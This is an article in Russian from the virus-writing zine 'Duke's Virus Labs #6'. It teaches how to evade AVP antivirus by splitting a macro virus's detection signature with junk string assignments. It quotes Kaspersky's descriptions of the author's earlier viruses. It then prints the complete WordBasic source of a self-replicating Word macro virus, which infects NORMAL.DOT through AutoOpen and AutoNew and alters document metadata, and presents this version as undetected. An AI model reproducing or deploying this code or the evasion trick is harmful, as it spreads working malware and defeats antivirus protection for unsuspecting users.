- [Duke's Virus Labs #6] - [Page 13] - Клонирование макро вирусов на примере вируса Macro.Word.Subject.a (c) by Duke/SMF Если написанный вами макро-вирус в скором времени начинает детектироваться программой AVP, то не стоит впадать в панику. Совершенно элементарно можно модернизировать вирус таким образом, что AVP даже не заподозрит наличия макро-вируса в пораженном файле. Как AVP детектирует макро-вирусы ? В отличие от DrWeb'а, в AVP в качестве сигнатуры берется очень большой кусок кода (Данилов же берет очень маленький, но очень характерный код, поэтому DrWeb детектирует большинство клонов под одним именем). Для того, чтобы вирус не детектировался AVP, надо разбить сигнатуру, т.е. вставить в ее середину кусок нового кода. Проще всего это сделать, вставив в нескольких местах в тексте вируса строки вида string$ = "something" после чего перед нами будет совершенно новый (с точки зрения AVP) макро-вирус. Немного терпения и удачи ;) , и этим способом можно склонировать любой вирус. Этот прием был мной использован и показал отличные результаты. Работает для любых приложений Office любых версий. В журнале DVL #4 я опубликовал два своих первых макро вируса под Word 6.0. А совсем недавно программа AVP стала их детектировать... Это конечно очень прискорбный факт :(((, единственное что меня хоть немного утешает, так это то что они детектируются под данними мной именами :)), а не под какой-нибудь безличиной. Вот какой описание этим вирусам дал сам Касперский (если честно, то я узнал много нового о собственных вирусах ;-)) : ===== Cut here ===== Macro.Word.DVL ──────────────── Cодержит четыре макроса: AutoOpen, AutoClose, AutoNew, DVL. Заражение системной области макросов происходит при открытии зараженного документа, а других документов - при их открытии, закрытии и создании. Если при отрытии документа система уже заражена, на экран выводится сообщение: WM.DVL (c) by Duke/SMF You system already infected ! This macros written by Duke/SMF special for DVL #4 Macro.Word.Subject ────────────────── Крайне примитивный макро-вирус. В документах содержит один макрос: AutoOpen; в NORMAL.DOT содержит два идентичных макроса: AutoOpen и AutoNew. Заражение системной области макросов происходит при открытии зараженного документа, при этом вирус дважды копирует свой макрос в NORMAL.DOT: с именами AutoOpen и AutoNew. Другие документы заражаются при их открытии и создании. Вирус меняет информацию о документе: Тема = "Macro.Word.Subject" Автор = "Duke/SMF" ===== Cut here ===== Вот с детектированием вируса Macro.Word.Subject я и предлагаю побороться. Особых сил прикладывать не надо - достаточно вставить всего лишь одну приблудную строку (как я и рекомендовал выше). Новая версия, которая уже НЕ детектируется AVP, приведена ниже : ===== Cut here ===== ' Macros AutoOpen Sub MAIN On Error Goto ErrorHandler Fname$ = FileName$() MacName$ = Fname$ + ":AutoOpen" string$ = "something" FileSummaryInfo .Subject = "Macro.Word.Subject.b" FileSummaryInfo .Author = "Duke/SMF" MacroCopy MacName$, "Global:AutoNew", - 1 MacroCopy MacName$, "Global:AutoOpen", - 1 ErrorHandler: If IsDocumentDirty() = - 1 Then MacroCopy "Global:AutoOpen", MacName$, - 1 End If FileSaveAs .Format = 1 End Sub ===== Cut here =====